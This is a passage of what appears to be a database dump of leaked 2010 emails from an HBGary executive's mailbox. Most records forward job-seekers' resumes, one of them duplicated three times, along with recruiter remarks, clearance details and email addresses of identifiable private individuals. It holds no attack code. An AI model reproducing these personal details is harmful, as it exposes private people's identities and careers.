&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CISSP&nbsp;(Certified Information Systems Security Professional)&nbsp;ISC2&nbsp;SCNP&nbsp;(Security Certified Network Professional) SCPCEH&nbsp;&nbsp;(Certified Ethical Hacker) EC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SCNS&nbsp;(Security Certified Network Specialist)&nbsp;SCPCNDA&nbsp;(Certified Network Defense Architect) EC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Security+ -&nbsp;CompTIA&nbsp;CIW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MCSA&nbsp;(Microsoft Certified Systems Administrator)CIW &nbsp;(Certified Internet Webmaster Associate) &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ITIL&nbsp;(Information Technology Infrastructure Library)&nbsp;EXIN &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Intrusion Detection In Depth -&nbsp;SANS&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Global Knowledge Strategic Partnership Training&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Redhat Linux Essentials Certification&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Learning Tree International&nbsp;&nbsp;-&nbsp;Advanced TCP/IP Course&nbsp;NEXTEC Inc. -&nbsp;Web Master Program Vocational Certification &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;SKILLS:&nbsp;Air Defense Wireless Security&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Checkpoint Firewall&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lancope ADS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RedHat Linux &nbsp; &nbsp;&nbsp;AppScan/HP Web Scanners&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cisco IDM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Active Dir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SnortArcSight SIM&nbsp;Enterasys SIM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft SMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SourceFire IDSBig Fix Enterprise Manager &nbsp; &nbsp;&nbsp;ForeScout NAC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MS SQL Server 2005 &nbsp; &nbsp;&nbsp;VMwareBlueCoat WAN optimization &nbsp; &nbsp;&nbsp;Foundstone &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MySQL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Windows 2003 ServerCA Service Desk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ISS Site Protector IPS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nessus&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WireShark',10884,'aaron_hbgary_com/10884.html'),(11416,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008633.M885037P14101Q6271.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','Resume - these are from a headhunter btw, so cost involved','Wants more Vulnerability and Ethical Hacking hands on then current job.  He does a lot of project management now and wants to be more hands on technically and less of a policy guy.\r\n\r\nProfile\r\n\r\nQuality-driven information security professional that is people-oriented, technically minded, and has experience in designing, developing, and implementing a wide array of security architectures seeking to advance in the security field.\r\n\r\n\r\nExperience\r\n\r\nJones Stephens Corporation		January 2006 - Present		 Moody, AL\r\n\r\nSecurity Administrator\r\n\r\nResponsible for all network vulnerability assessments and audits using Nessus and Nmap\r\n\r\nMaintain and administer company firewall rules, policies, and procedures\r\n\r\nImplemented and maintain company proxy server to address company security and monitoring concerns for safe web browsing\r\n\r\nResearched, installed, and deployed company workstation and server anti-virus solution\r\n\r\nProvided secure VPN and remote access to company resources\r\n\r\nInstalled, configured, and maintain IDS solution\r\n\r\nDeveloped, implemented, and maintain company\'s mail security solutions\r\n\r\nDeployed company patch management solution to ensure server and workstation compliance\r\n\r\nImplemented a company-wide defense-in-depth security model\r\n\r\n\r\nInformation Systems Architect\r\n\r\nResponsible for research, testing, and implementation of new company-wide IP PBX telephony system projected to save the company $100K over four years\r\n\r\nDesigned, tested, and deployed new VMware virtual infrastructure, including migrating servers and deploying over 20 new VMware server instances\r\n\r\nResearched, deployed, and maintain company\'s six Storage Area Network (SAN) installations\r\n\r\nImplemented a new Microsoft Domain and Active Directory deployment, architected OU structure, GPO assignment and configuration, and deployed new DNS and DHCP servers\r\n\r\nEngineered LAN and WAN infrastructure, including routing configurations, QoS, and VLAN design\r\n\r\n\r\nNetwork Administrator\r\n\r\nResponsible for research and deployment of the company network monitoring solution\r\n\r\nResearched and implemented a company-wide standardization policy, including standardization with configurations (software and hardware), deployment procedures, and naming conventions\r\n\r\nDeveloped and taught IT training curriculum\r\n\r\n\r\nDesktop Support\r\n\r\nAnalyzed, managed, and resolved network, configuration, and printing issues\r\n\r\nConfigured, monitored, and troubleshot issues with system performance\r\n\r\n\r\nJanuary 2004 – September 2005                    NGA Professional Golf Tour                        North Myrtle Beach, SC\r\n\r\nProfessional Golfer\r\n\r\nMember of the 3rd largest professional golf tour in the United States\r\n\r\nPlayed in 27 events over two years\r\n\r\nReceived 2004 “Golf Achievement Award”\r\n\r\n\r\nCertifications\r\n\r\nCertified Wireless Network Administrator\r\n\r\nGIAC Assessing Wireless Networks\r\n\r\nVMware Certified Professional\r\n\r\nMicrosoft Certified Desktop Support Technician\r\n\r\nCompTIA Security+ Certified Professional\r\n\r\nCompTIA A+ Certified Technician\r\n\r\nCompTIA Network+ Certified Technician\r\n\r\nCurrently seeking CISSP & OSCP Certifications\r\n\r\n\r\nProfessional Memberships\r\n\r\nActive Top Secret Security Clearance\r\n\r\nFBI Birmingham Volunteer Malware Analyst\r\n\r\nStatically analyzed malware with PEiD, OllyDBG, IDA Pro, and CWSandbox\r\n\r\nDynamically analyzed malware with Honeyd, Wireshark, Malcode Analysis Pack, Process Monitor, and Process Explorer\r\n\r\nAnalyzed phishing sites by source code review\r\n\r\nInfragard member and guest speaker, including the following presentations:\r\n\r\nExtreme Makeover: Network Edition\r\n\r\nSecurity Through Obscurity (And Why Not To Do It)\r\n\r\nWireless (In)security\r\n\r\nTechnical Skills\r\n\r\n\r\nApplication Proficiency\r\n\r\nAdvanced Installer, Apache Web Server, Burp Suite, HP LeftHand CMC, Honeyd, Hydra, IDA Pro, Kaspersky Anti-Virus, Malcode Analysis Pack, Maltego, Metasploit, Microsoft Exchange, Microsoft IIS, Microsoft Office, Microsoft SQL Server, Nessus, Netcat, Nmap, OllyDBG, PeiD, Scapy, Squid Proxy Server, Symantec Backup Exec, Symantec Enterprise Vault, Wireshark\r\n\r\n\r\nLanguage Proficiency\r\n\r\nAssembly, Batch Files, C/C++/C#, JavaScript, HTML, KiXtart, Perl, PHP, Python, Ruby, Shell Scripting, SQL, VBA/VBscript, WMI, XML\r\n\r\n\r\nOperating System Proficiency\r\n\r\nCisco IOS, FreeBSD, Linux (Slackware, Ubuntu, CentOS), Microsoft Windows Server 2000/2003/2008, Microsoft Windows 95/98/2000/XP/Vista/7, Novell Netware 6.5, OpenFiler, openSolaris\r\n\r\n\r\nTechnology Proficiency\r\n\r\nCertificate Management, DNS/DHCP, DR development, iSCSI SAN\'s, LDAP Administration, Terminal Services, VMware administration, VoIP telephony solutions, WAN optimization\r\nEducation\r\n\r\n\r\nAugust 1998 – December 2003                      Mississippi State University                                           Starkville, MS\r\n\r\nBachelor of Business Administration with a Major in Marketing\r\n\r\nCompleted PGA of America’s Professional Golf Management Program\r\n\r\nSeven semesters of co-op work experience, five as an assistant golf professional\r\n\r\nParticipated in National Student Exchange Program with New Mexico State University\r\n\r\nGPA of 3.34/4.00',4995,'aaron_hbgary_com/4995.html'),(11417,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008634.M361378P14101Q6273.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Michael Haendel','I like this one...checking with Prime not a complete clearance fit but who knows.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 6:27 PM, Ed Wallach wrote:\r\n\r\n> LOOKING FOR WORK BECAUSE:  Contract ended with his last company\r\n> \r\n> HE IS A: DSP/FPGA/Digital Design SME\r\n> \r\n> Objective\r\n> Obtain a challenging position utilizing my electrical, electronic, and signal processing engineering experiences.\r\n> \r\n> Education\r\n> University of Central Florida Orlando, Florida\r\n> Degree: Masters of Science May 2006\r\n> Major: Electrical Engineering\r\n> Track: Digital Signal Processing\r\n> Graduate courses completed: Advanced Computer Architecture, Random Processes, Digital Signal Processing, and Radar Applications, Parallel Computer Architecture, VLSI Design with Verilog, Discrete Signal Processing Applications, Adv Topics Computer Architecture.\r\n> \r\n> Southern Illinois University Carbondale, Illinois\r\n> Degree: Bachelor of Science May 1990\r\n> Major: Electrical Engineering,\r\n> Minor: Mathematics\r\n> \r\n> Experience\r\n> Macaulay Brown, Inc. San Antonio, Texas\r\n> Electrical Engineer V Jan 2009 –Jan 2010\r\n> Duties Include: Ida Pro / OillyDbg cryptographic analysis/synthesis, Xilinx FPGA bit-stream analysis, and hardware analysis, 40 hours Wind River RTOS training.\r\n> \r\n> TAC World Wide Consulting / Dell Computer, Inc. Austin, Texas\r\n> Contractor / Signal Integrity Engineer Jun 2008–Oct 2008\r\n> Duties Include: Hardware signal integrity analysis of DDR2, I2C, proprietary busses and circuits, schematic design, testing of serverprinted wire boards.\r\n> Symtx Test, Inc. Austin, Texas\r\n> Project Engineer III Sep 2007 –Jan 2008\r\n> Duties include: FPGA Design , Digital Signal Processing and Digital Hardware Design Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Stratix II, implementing Weather Doppler Radar digital signal processing algorithms, FPDP Array Storage Hard Drive Arrays, RF/IF Signal Processing, Matlab/Simulink Algorithm Development.\r\n> \r\n> Triple Crown Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\n> Contractor / FPGA Designer Mar 2007 –Jun 2007\r\n> Duties include : Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Cyclone III, Xilinx VirtexE, Xilinx Virtex 4 FPGAs, implementing airbourne and ground based communication systems. EDA Tools used:Telelogic DOORS 8.1/DO-256, MG HDL Designer, Aretna Spyglass, Synopsis Simplicity, and Modelsim7.1, Matlab algorithm development.\r\n> \r\n> Volt Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\n> Consultant / FPGA Designer Nov 2006–Dec 2006\r\n> Duties include: Hardware Design Analysis, Documentation, and VHDL Programming targeting two Altera MAX 7000 CPLDs.\r\n> \r\n> Oxford International Consulting / Luna Innovations, Inc. Blacksburg, Virginia\r\n> Contractor / FPGA Designer Oct 2006–Nov 2006\r\n> Duties include: VHDL programming targeting Altera Stratix II FPGA to be implemented in an ultrasonic imaging medical electronic device.\r\n> \r\n> University of Central Florida Orlando, Florida\r\n> Research Assistant May 2005–Dec 2005\r\n> Duties include: VHDL programming targeting a Xilinx Virtex II Pro FPGA, embedded in an Avnet Virtex II Pro Development Board.Two contracts were supported, a NASA project investigating evolvable hardware targeted for space borne applications, and an Air Force project investigating fragmentation, mutation and repair of FPGA hardware configurations the tools utilized for the task were:Matlab simulation, ModelSim XE 6.3.03i, and Xilinx Navigator 6.3.03i, and Xilinx SDK Embedded Development Kit 6.3.i . This work was performed concurrently during the year of 2005, while pursuing and completing a master’s degree in electrical engineering, specializing in digital signal processing. Additionally satisfied requirements MSCpE/Digital Architecture Track.\r\n> \r\n> System Pros / Oxford International Consulting / Sypris Electronics, Inc. Tampa, Florida\r\n> Contractor / FPGA Designer Sep 2004–Dec 2004\r\n> Duties include: VHDL programming targeting a Xilinx Spartan III FPGA for use in COMSEC Type 1 Trunk Encoder Encryption /Decryption / Cryptographic Unit, in compliance with Line Encryption Units standards being developed for the NSA, Army, and Navy. My assignment was exclusively to the KIV-19M program. Work experience with ARM 7 processor implementing cryptographic algorithms. The tools utilized for the task were: ModelSim XE, PE, SE, and Xilinx Navigator 6.3.\r\n> \r\n> ATI Consulting / Northrop-Grumman, Inc. Baltimore Maryland.\r\n> Contractor / FPGA Designer Sep 2003–Aug 2004\r\n> Duties include: FPGA, VHDL and analog and digital hardware design for airborne radar / electronic countermeasure systems.Additional duties include documentation, presentations, testing, and project scheduling for the Northrop Grumman EA6B III and the Northrop Grumman F18G. Worked with high speed digital design of a large Xilinx CPLD operating at 100MHz, and additional multiple clock domains of 25MHz, 50Mhz.\r\n> \r\n> Harris Corporation Corp. Palm Bay, Florida\r\n> Electrical Engineer II Apr 2000–Aug 2002\r\n> Duties Include : Digital design, VHDL programming and test benching, hardware flight integrity analysis / simulation, analysis of analog circuits, as well as increased basic understanding of signal processing, RF circuits, and antenna design. Additionally, experience was gained with embedded programming for the Motorola 68HC16, configuring a Data IO programmer, and utilizing basic pieces of test equipment. Acquired experience test benching VHDL for clearance project, Fibre-Channel Arbitrated Loop network for Advanced Joint Strike Fighter / Apache Helicopter. Additional experience includes: hardware flight integrity analysis for the Comanche Helicopter, VHDL test benching for a memory controller and VHDL programming, analysis, and design for a section of avideo digital pipeline algorithms. Presented results of simulation / analysis of a high speed design, as a preliminary design review for a VHDL project. Programmed Xilinx Virtex/VirtexE FPGAs, and received extensive training on Virtex 2 FPGAs, as well as Altera Quartus FPGAs. Additionally, was assigned to a prestigious project, Special Emphasis Team and produced a UNIX based distributed computing project, Matlab Algorithm development .\r\n> \r\n> \r\n> Lucent Technologies, Inc. Naperville, Illinois\r\n> Member Technical Staff 1 Dec 1997–Nov 1999\r\n> Duties include : C/UNIX programming for class 5E Lucent telecommunication switches, diagnostics, telecommunication related skills. Utilized a variety of proprietary tool sets used for software revision management. My responsibility included: POTS, ISDN, and proprietary optical diagnostics, switch configuration and testing, and new software development. Gained experience with basic telecom maintenance, and attended Lucent Lecture Series, Lucent Technical Roadmap Series, Department and Group meetings, and received 40 hours of Lucent technical education per year. Additional education includes forty hours of Visual C++/OOP utilizing MFC / COM.\r\n> \r\n> O’Brien Consulting / AT&T, Inc. Chicago, Illinois\r\n> Consultant / Telecom Designer May 1997–Oct 1997\r\n> Duties include : New fiber-optic layout of Chicago Metro and Chicago Suburban loops. Worked with engineering, and used AutoCAD 14, concurrently while attending University of Illinois at Chicago.\r\n> \r\n> Additional Work History Available Upon Request.\r\n> \r\n> \r\n> Skills\r\n> VHDL FPGA Verilog EDA Firmware Cryptography Digital\r\n> Analog PCB DSP Matlab C/C++ Linux Virtual OS\r\n> Assembler Telecom Controls PLC Filters TCL 6811\r\n> x86 Xilinx Altera Reconfiguration Testbench Signal Integrity UL\r\n> PSpice EDK Chipscope ISE Quartus DDR2 I2C\r\n> HDL Designer Symplicity ModelSim 800Mhz RF MathCAD POTS\r\n> ISDN RS232 RS485 Mil Std 1553 Virtex X Spartan X Cyclone X\r\n> Wind River RTOS FORTRAN BASIC SpecctraQuest NCVHDL VisualElite\r\n> PADS DxDesigner RADAR SCADA Schematic SpyGlass Control\r\n> ADC/DAC/PLL VHDL Cores Airborne Fibre Channel Doppler Documentation AutoCad\r\n> DO 254 Simulink System Generator StateCAD Parallel Proc Medical Consumer\r\n> \r\n> Honors\r\n> Research Assistant, Deans List, EIT, Won Design Engineering Competition\r\n> \r\n> Special\r\n> Toastmasters International Sergeant of Arms\r\n> \r\n\r\n',7922,'aaron_hbgary_com/7922.html'),(11418,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008634.M605325P14101Q6274.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','This guys resume rocks but better fit for forensics/IR','LOOKING FOR WORK BECAUSE:  Contract ended with his last company\r\n\r\nHE IS A: DSP/FPGA/Digital Design SME\r\n\r\nObjective\r\nObtain a challenging position utilizing my electrical, electronic, and signal processing engineering experiences.\r\n\r\nEducation\r\nUniversity of Central Florida Orlando, Florida\r\nDegree: Masters of Science May 2006\r\nMajor: Electrical Engineering\r\nTrack: Digital Signal Processing\r\nGraduate courses completed: Advanced Computer Architecture, Random Processes, Digital Signal Processing, and Radar Applications, Parallel Computer Architecture, VLSI Design with Verilog, Discrete Signal Processing Applications, Adv Topics Computer Architecture.\r\n\r\nSouthern Illinois University Carbondale, Illinois\r\nDegree: Bachelor of Science May 1990\r\nMajor: Electrical Engineering,\r\nMinor: Mathematics\r\n\r\nExperience\r\nMacaulay Brown, Inc. San Antonio, Texas\r\nElectrical Engineer V Jan 2009 –Jan 2010\r\nDuties Include: Ida Pro / OillyDbg cryptographic analysis/synthesis, Xilinx FPGA bit-stream analysis, and hardware analysis, 40 hours Wind River RTOS training.\r\n\r\nTAC World Wide Consulting / Dell Computer, Inc. Austin, Texas\r\nContractor / Signal Integrity Engineer Jun 2008–Oct 2008\r\nDuties Include: Hardware signal integrity analysis of DDR2, I2C, proprietary busses and circuits, schematic design, testing of serverprinted wire boards.\r\nSymtx Test, Inc. Austin, Texas\r\nProject Engineer III Sep 2007 –Jan 2008\r\nDuties include: FPGA Design , Digital Signal Processing and Digital Hardware Design Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Stratix II, implementing Weather Doppler Radar digital signal processing algorithms, FPDP Array Storage Hard Drive Arrays, RF/IF Signal Processing, Matlab/Simulink Algorithm Development.\r\n\r\nTriple Crown Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\nContractor / FPGA Designer Mar 2007 –Jun 2007\r\nDuties include : Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Cyclone III, Xilinx VirtexE, Xilinx Virtex 4 FPGAs, implementing airbourne and ground based communication systems. EDA Tools used:Telelogic DOORS 8.1/DO-256, MG HDL Designer, Aretna Spyglass, Synopsis Simplicity, and Modelsim7.1, Matlab algorithm development.\r\n\r\nVolt Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\nConsultant / FPGA Designer Nov 2006–Dec 2006\r\nDuties include: Hardware Design Analysis, Documentation, and VHDL Programming targeting two Altera MAX 7000 CPLDs.\r\n\r\nOxford International Consulting / Luna Innovations, Inc. Blacksburg, Virginia\r\nContractor / FPGA Designer Oct 2006–Nov 2006\r\nDuties include: VHDL programming targeting Altera Stratix II FPGA to be implemented in an ultrasonic imaging medical electronic device.\r\n\r\nUniversity of Central Florida Orlando, Florida\r\nResearch Assistant May 2005–Dec 2005\r\nDuties include: VHDL programming targeting a Xilinx Virtex II Pro FPGA, embedded in an Avnet Virtex II Pro Development Board.Two contracts were supported, a NASA project investigating evolvable hardware targeted for space borne applications, and an Air Force project investigating fragmentation, mutation and repair of FPGA hardware configurations the tools utilized for the task were:Matlab simulation, ModelSim XE 6.3.03i, and Xilinx Navigator 6.3.03i, and Xilinx SDK Embedded Development Kit 6.3.i . This work was performed concurrently during the year of 2005, while pursuing and completing a master’s degree in electrical engineering, specializing in digital signal processing. Additionally satisfied requirements MSCpE/Digital Architecture Track.\r\n\r\nSystem Pros / Oxford International Consulting / Sypris Electronics, Inc. Tampa, Florida\r\nContractor / FPGA Designer Sep 2004–Dec 2004\r\nDuties include: VHDL programming targeting a Xilinx Spartan III FPGA for use in COMSEC Type 1 Trunk Encoder Encryption /Decryption / Cryptographic Unit, in compliance with Line Encryption Units standards being developed for the NSA, Army, and Navy. My assignment was exclusively to the KIV-19M program. Work experience with ARM 7 processor implementing cryptographic algorithms. The tools utilized for the task were: ModelSim XE, PE, SE, and Xilinx Navigator 6.3.\r\n\r\nATI Consulting / Northrop-Grumman, Inc. Baltimore Maryland.\r\nContractor / FPGA Designer Sep 2003–Aug 2004\r\nDuties include: FPGA, VHDL and analog and digital hardware design for airborne radar / electronic countermeasure systems.Additional duties include documentation, presentations, testing, and project scheduling for the Northrop Grumman EA6B III and the Northrop Grumman F18G. Worked with high speed digital design of a large Xilinx CPLD operating at 100MHz, and additional multiple clock domains of 25MHz, 50Mhz.\r\n\r\nHarris Corporation Corp. Palm Bay, Florida\r\nElectrical Engineer II Apr 2000–Aug 2002\r\nDuties Include : Digital design, VHDL programming and test benching, hardware flight integrity analysis / simulation, analysis of analog circuits, as well as increased basic understanding of signal processing, RF circuits, and antenna design. Additionally, experience was gained with embedded programming for the Motorola 68HC16, configuring a Data IO programmer, and utilizing basic pieces of test equipment. Acquired experience test benching VHDL for clearance project, Fibre-Channel Arbitrated Loop network for Advanced Joint Strike Fighter / Apache Helicopter. Additional experience includes: hardware flight integrity analysis for the Comanche Helicopter, VHDL test benching for a memory controller and VHDL programming, analysis, and design for a section of avideo digital pipeline algorithms. Presented results of simulation / analysis of a high speed design, as a preliminary design review for a VHDL project. Programmed Xilinx Virtex/VirtexE FPGAs, and received extensive training on Virtex 2 FPGAs, as well as Altera Quartus FPGAs. Additionally, was assigned to a prestigious project, Special Emphasis Team and produced a UNIX based distributed computing project, Matlab Algorithm development .\r\n\r\n\r\nLucent Technologies, Inc. Naperville, Illinois\r\nMember Technical Staff 1 Dec 1997–Nov 1999\r\nDuties include : C/UNIX programming for class 5E Lucent telecommunication switches, diagnostics, telecommunication related skills. Utilized a variety of proprietary tool sets used for software revision management. My responsibility included: POTS, ISDN, and proprietary optical diagnostics, switch configuration and testing, and new software development. Gained experience with basic telecom maintenance, and attended Lucent Lecture Series, Lucent Technical Roadmap Series, Department and Group meetings, and received 40 hours of Lucent technical education per year. Additional education includes forty hours of Visual C++/OOP utilizing MFC / COM.\r\n\r\nO’Brien Consulting / AT&T, Inc. Chicago, Illinois\r\nConsultant / Telecom Designer May 1997–Oct 1997\r\nDuties include : New fiber-optic layout of Chicago Metro and Chicago Suburban loops. Worked with engineering, and used AutoCAD 14, concurrently while attending University of Illinois at Chicago.\r\n\r\nAdditional Work History Available Upon Request.\r\n\r\n\r\nSkills\r\nVHDL FPGA Verilog EDA Firmware Cryptography Digital\r\nAnalog PCB DSP Matlab C/C++ Linux Virtual OS\r\nAssembler Telecom Controls PLC Filters TCL 6811\r\nx86 Xilinx Altera Reconfiguration Testbench Signal Integrity UL\r\nPSpice EDK Chipscope ISE Quartus DDR2 I2C\r\nHDL Designer Symplicity ModelSim 800Mhz RF MathCAD POTS\r\nISDN RS232 RS485 Mil Std 1553 Virtex X Spartan X Cyclone X\r\nWind River RTOS FORTRAN BASIC SpecctraQuest NCVHDL VisualElite\r\nPADS DxDesigner RADAR SCADA Schematic SpyGlass Control\r\nADC/DAC/PLL VHDL Cores Airborne Fibre Channel Doppler Documentation AutoCad\r\nDO 254 Simulink System Generator StateCAD Parallel Proc Medical Consumer\r\n\r\nHonors\r\nResearch Assistant, Deans List, EIT, Won Design Engineering Competition\r\n\r\nSpecial\r\nToastmasters International Sergeant of Arms\r\n\r\n',6193,'aaron_hbgary_com/6193.html'),(11419,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008634.M817521P14101Q6275.eml','\"Shane Shook\" <sdshook@yahoo.com>','E-Discovery','Hi Shane,\r\n\r\nHow was your trip?  Turns out everything went great for the Oracle PenTest we conducted.\r\n\r\nHave a question.  By chance you don\'t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)\r\n\r\nThanks,\r\nAaron',3412,'aaron_hbgary_com/3412.html'),(11420,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008634.M95036P14101Q6272.eml','jeremy.gage@mantech.com,\"Patrick B Simpson\" <Patrick.Simpson@ManTech.com>','Resume - looks interesting','LOOKING FOR WORK BECAUSE:  Contract ended with his last company\r\n\r\nHE IS A: DSP/FPGA/Digital Design SME\r\n\r\nObjective\r\nObtain a challenging position utilizing my electrical, electronic, and signal processing engineering experiences.\r\n\r\nEducation\r\nUniversity of Central Florida Orlando, Florida\r\nDegree: Masters of Science May 2006\r\nMajor: Electrical Engineering\r\nTrack: Digital Signal Processing\r\nGraduate courses completed: Advanced Computer Architecture, Random Processes, Digital Signal Processing, and Radar Applications, Parallel Computer Architecture, VLSI Design with Verilog, Discrete Signal Processing Applications, Adv Topics Computer Architecture.\r\n\r\nSouthern Illinois University Carbondale, Illinois\r\nDegree: Bachelor of Science May 1990\r\nMajor: Electrical Engineering,\r\nMinor: Mathematics\r\n\r\nExperience\r\nMacaulay Brown, Inc. San Antonio, Texas\r\nElectrical Engineer V Jan 2009 –Jan 2010\r\nDuties Include: Ida Pro / OillyDbg cryptographic analysis/synthesis, Xilinx FPGA bit-stream analysis, and hardware analysis, 40 hours Wind River RTOS training.\r\n\r\nTAC World Wide Consulting / Dell Computer, Inc. Austin, Texas\r\nContractor / Signal Integrity Engineer Jun 2008–Oct 2008\r\nDuties Include: Hardware signal integrity analysis of DDR2, I2C, proprietary busses and circuits, schematic design, testing of serverprinted wire boards.\r\nSymtx Test, Inc. Austin, Texas\r\nProject Engineer III Sep 2007 –Jan 2008\r\nDuties include: FPGA Design , Digital Signal Processing and Digital Hardware Design Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Stratix II, implementing Weather Doppler Radar digital signal processing algorithms, FPDP Array Storage Hard Drive Arrays, RF/IF Signal Processing, Matlab/Simulink Algorithm Development.\r\n\r\nTriple Crown Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\nContractor / FPGA Designer Mar 2007 –Jun 2007\r\nDuties include : Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Cyclone III, Xilinx VirtexE, Xilinx Virtex 4 FPGAs, implementing airbourne and ground based communication systems. EDA Tools used:Telelogic DOORS 8.1/DO-256, MG HDL Designer, Aretna Spyglass, Synopsis Simplicity, and Modelsim7.1, Matlab algorithm development.\r\n\r\nVolt Consulting / Rockwell Collins, Inc. Cedar Rapids, Iowa\r\nConsultant / FPGA Designer Nov 2006–Dec 2006\r\nDuties include: Hardware Design Analysis, Documentation, and VHDL Programming targeting two Altera MAX 7000 CPLDs.\r\n\r\nOxford International Consulting / Luna Innovations, Inc. Blacksburg, Virginia\r\nContractor / FPGA Designer Oct 2006–Nov 2006\r\nDuties include: VHDL programming targeting Altera Stratix II FPGA to be implemented in an ultrasonic imaging medical electronic device.\r\n\r\nUniversity of Central Florida Orlando, Florida\r\nResearch Assistant May 2005–Dec 2005\r\nDuties include: VHDL programming targeting a Xilinx Virtex II Pro FPGA, embedded in an Avnet Virtex II Pro Development Board.Two contracts were supported, a NASA project investigating evolvable hardware targeted for space borne applications, and an Air Force project investigating fragmentation, mutation and repair of FPGA hardware configurations the tools utilized for the task were:Matlab simulation, ModelSim XE 6.3.03i, and Xilinx Navigator 6.3.03i, and Xilinx SDK Embedded Development Kit 6.3.i . This work was performed concurrently during the year of 2005, while pursuing and completing a master’s degree in electrical engineering, specializing in digital signal processing. Additionally satisfied requirements MSCpE/Digital Architecture Track.\r\n\r\nSystem Pros / Oxford International Consulting / Sypris Electronics, Inc. Tampa, Florida\r\nContractor / FPGA Designer Sep 2004–Dec 2004\r\nDuties include: 